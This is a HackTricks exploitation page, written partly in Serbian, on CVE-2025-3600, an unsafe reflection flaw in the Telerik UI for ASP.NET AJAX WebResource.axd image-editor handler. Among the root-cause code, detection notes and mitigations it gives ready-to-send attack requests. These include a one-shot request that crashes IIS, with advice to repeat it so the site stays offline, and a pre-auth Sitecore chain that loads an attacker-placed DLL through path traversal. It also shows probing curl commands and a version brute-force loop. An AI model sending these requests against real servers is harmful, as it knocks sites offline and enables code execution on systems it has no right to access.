Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)
Tip
Nauči i vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).
Podrži HackTricks
- Pogledaj pretplatničke planove!
- Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
- Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.
Pre‑auth constructor execution in Telerik UI for ASP.NET AJAX Image Editor cache handler enables universal DoS and, in many apps, pre‑auth RCE via target‑specific gadgets (CVE-2025-3600).
TL;DR
- Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). Izloženo pre‑auth u mnogim proizvodima.
- Primitive: Napadač kontroliše ime tipa (prtype). Handler ga rešava pomoću Type.GetType() i poziva Activator.CreateInstance() pre nego što proveri type-safety interfejsa. Bilo koji javni .NET tip sa konstruktorom bez parametara će se izvršiti.
- Impact:
- Universal pre‑auth DoS with a .NET framework gadget (PowerShell WSMan finalizer).
- Često eskalira u pre‑auth RCE u stvarnim deployment-ima zloupotrebom app‑specific gadgets, posebno nesigurnim AppDomain.AssemblyResolve handlerima.
- Fix: Ažurirajte na Telerik UI for ASP.NET AJAX 2025.1.416+ ili uklonite/zaključajte handler.
Affected versions
- Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) are vulnerable.
- Fixed in 2025.1.416 (released 2025-04-29). Patch immediately or remove/lock down the handler.
Affected surface and quick discovery
- Check exposure:
- GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired.
- Pregledajte web.config za handler-e koji mapiraju na Telerik.Web.UI.WebResource.axd.
- Ne oslanjajte se na pronalaženje Telerik stringova na
/ili login stranicama. Stvarni proizvodi kao Sitecore često izlažu handler bez referenciranja u default HTML-u. - Trigger path for the vulnerable code-path requires: type=iec, dkey=1, and prtype=
.
Example probe and generic trigger:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly
Napomene
- Neki PoCs koriste dtype; implementacija proverava dkey==“1” za tok preuzimanja.
- prtype mora biti assembly-qualified ili rešiv u trenutnom AppDomain-u.
Korisne code/ops provere
<!-- system.web -->
<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />
<!-- system.webServer -->
<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
curl -skI https://target/Telerik.Web.UI.WebResource.axd
curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'
Brza trijaža verzije na nasleđenim instalacijama
Ako ista aplikacija takođe izlaže legacy type=rau handler, stariji Telerik alati i dalje mogu pomoći da identifikujete verziju zajedničke Telerik.Web.UI.dll pre nego što pokušate istraživanje type=iec. Ovo ne iskorišćava CVE-2025-3600 direktno; samo ponovo koristi činjenicu da rau i iec postoje u istom assembly-ju.
Praktična upotreba:
- Ako je
type=raudostupan, koristite klasični major-version brute force iz starijih RAU alatki da povratite tačnu verzijuTelerik.Web.UIassembly-ja. - Uporedite pronađenu verziju sa ranjivim opsegom (
2011.2.712to2025.1.218) i sa ispravljenom verzijom (2025.1.416+). - Smatrajte odsustvo
type=rauneodlučujućim.iecmože i dalje biti izložen čak i kada jerauonemogućen ili filtriran.
Example with the legacy CVE-2019-18935.py helper:
for YEAR in $(seq 2011 2025); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
-u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
done
Zašto ovo pomaže:
- Enterprise aplikacije često godinama bundle-uju stale Telerik build-ove.
- Red teams mogu brzo razlikovati “handler exposed” od “likely still on a vulnerable DLL”.
- Tokom incident response, ista fora pomaže da se obuhvate velike IIS flote kada filesystem access nije odmah dostupan.
Uzrok – unsafe reflection u ImageEditorCacheHandler
Tok preuzimanja cache-a Image Editora konstruiše instancu tipa koji je prosleđen u prtype i tek kasnije je kastuje u ICacheImageProvider i validira download key. Konstruktor je već izvršen kada validacija ne uspe.
Relevantni dekompajlirani tok
```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }
public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }
protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }
</details>
Eksploatacioni primitiv: Kontrolisani tip string → Type.GetType ga razrešava → Activator.CreateInstance poziva njegov javni konstruktor bez parametara. Čak i ako zahtev bude naknadno odbijen, sporedni efekti gadgeta su već nastali.
## Univerzalni DoS gadget (nije potreban gadget specifičan za aplikaciju)
Klasa: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper u System.Management.Automation (PowerShell) ima finalizer koji poziva Dispose nad neinicijalizovanim handle-om, što izaziva neuhvaćen izuzetak kada ga GC finalizuje. Ovo pouzdano ruši IIS worker process ubrzo nakon instanciranja.
Jednokratni DoS zahtev:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
Napomene
- Nastavite da šaljete periodično da biste održali sajt offline. Možda ćete u debuggeru videti da je konstruktor pogođen; pad se dešava pri finalizaciji.
Od DoS do RCE – obrasci eskalacije
Nezaštićeno izvršavanje konstruktora otključava mnoge cilj‑specifične gadgete i lanace. Potražite:
- Parameterless constructors that process attacker input
- Neki ctors (ili static initializers) odmah čitaju Request query/body/cookies/headers i (de)serializuju ih.
- Primer (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body “layout” and deserializes JSON via JSON.NET.
- Constructors that touch files
- Ctors koji učitavaju ili deserializuju config/blobs sa diska mogu se prisiliti ako možete da pišete u te putanje (uploads/temp/data folders).
- Constructors performing app-specific ops
- Resetovanje stanja, prebacivanje modula ili terminiranje procesa.
- Constructors/static ctors that register AppDomain event handlers
- Mnoge aplikacije dodaju AppDomain.CurrentDomain.AssemblyResolve handlere koji prave DLL putanje iz args.Name bez sanitizacije. Ako možete da utičete na rešavanje tipa, možete prisiliti učitavanje proizvoljnih DLL‑ova iz putanja pod kontrolom napadača.
- Forcing AssemblyResolve via Type.GetType
- Zatražite nepostojeći tip da biste prisilili CLR na rešavanje i pozvali registrovane (moguće nesigurne) resolvere. Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
- Finalizers sa destruktivnim nuspojavama
- Neki tipovi brišu fajlove sa fiksnom putanjom u finalizer-ima. U kombinaciji sa link-following ili predvidivim putanjama ovo može omogućiti local privilege escalation u određenim okruženjima.
Primer pre‑auth RCE lanca (Sitecore XP)
- Korak 1 – Pre‑auth: Aktivirajte tip čiji static/instance ctor registruje nesiguran AssemblyResolve handler (npr. Sitecore’s FolderControlSource u ControlFactory).
- Korak 2 – Post‑auth: Obezbedite mogućnost upisa u direktorijum koji proverava resolver (npr. putem auth bypass ili weak upload) i postavite maliciozni DLL.
- Korak 3 – Pre‑auth: Iskoristite CVE‑2025‑3600 sa nepostojećim tipom i assembly imenom koje sadrži traversal kako biste naterali resolver da učita vaš postavljeni DLL → izvršenje koda kao IIS worker.
Primeri okidača
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr
Validacija, hunting i DFIR napomene
- Sigurna validacija u laboratoriji: pokrenite DoS payload i pratite recikliranje app pool-a ili neobrađenu iznimku povezanu sa WSMan finalizer-om.
- Hunt u telemetriji:
- Zahtevi na /Telerik.Web.UI.WebResource.axd sa type=iec i neobičnim prtype vrednostima.
- Neuspešna učitavanja tipova i AppDomain.AssemblyResolve događaji.
- Iznenadni padovi/recikliranja w3wp.exe nakon takvih zahteva.
Mitigacija
- Patchujte na Telerik UI for ASP.NET AJAX 2025.1.416 ili noviji.
- Uklonite ili ograničite izlaganje Telerik.Web.UI.WebResource.axd gde je moguće (WAF/rewrites).
- Ignorišite ili ojačajte serversku obradu prtype (nadogradnja primenjuje odgovarajuće provere pre instanciranja).
- Revidirajte i ojačajte custom AppDomain.AssemblyResolve handlere. Izbegavajte građenje putanja iz args.Name bez sanitizacije; preferirajte strong-named loads ili whitelists.
- Ograničite lokacije za upload/zapisivanje i sprečite dropovanje DLL-ova u probe direktorijume.
- Pratite pokušaje učitavanja nepostojećih tipova kako biste otkrili zloupotrebu resolver-a.
Sažetak
- Provera prisustva:
- GET /Telerik.Web.UI.WebResource.axd
- Potražite mapiranje handlera u web.config
- Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
- Univerzalni DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
- Okidač resolvera:
This.Class.Does.Not.Exist, watchTowr
Povezane tehnike
- IIS post-exploitation, .NET key extraction, and in‑memory loaders:
IIS - Internet Information Services
- ASP.NET ViewState deserialization and machineKey abuses:
Exploiting __VIEWSTATE without knowing the secrets
Reference
- Progress Telerik – Unsafe Reflection Vulnerability (3600)
- watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
- Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
- ZDI – Abusing arbitrary file deletes to escalate privilege
- watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)
Tip
Nauči i vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).
Podrži HackTricks
- Pogledaj pretplatničke planove!
- Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
- Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.


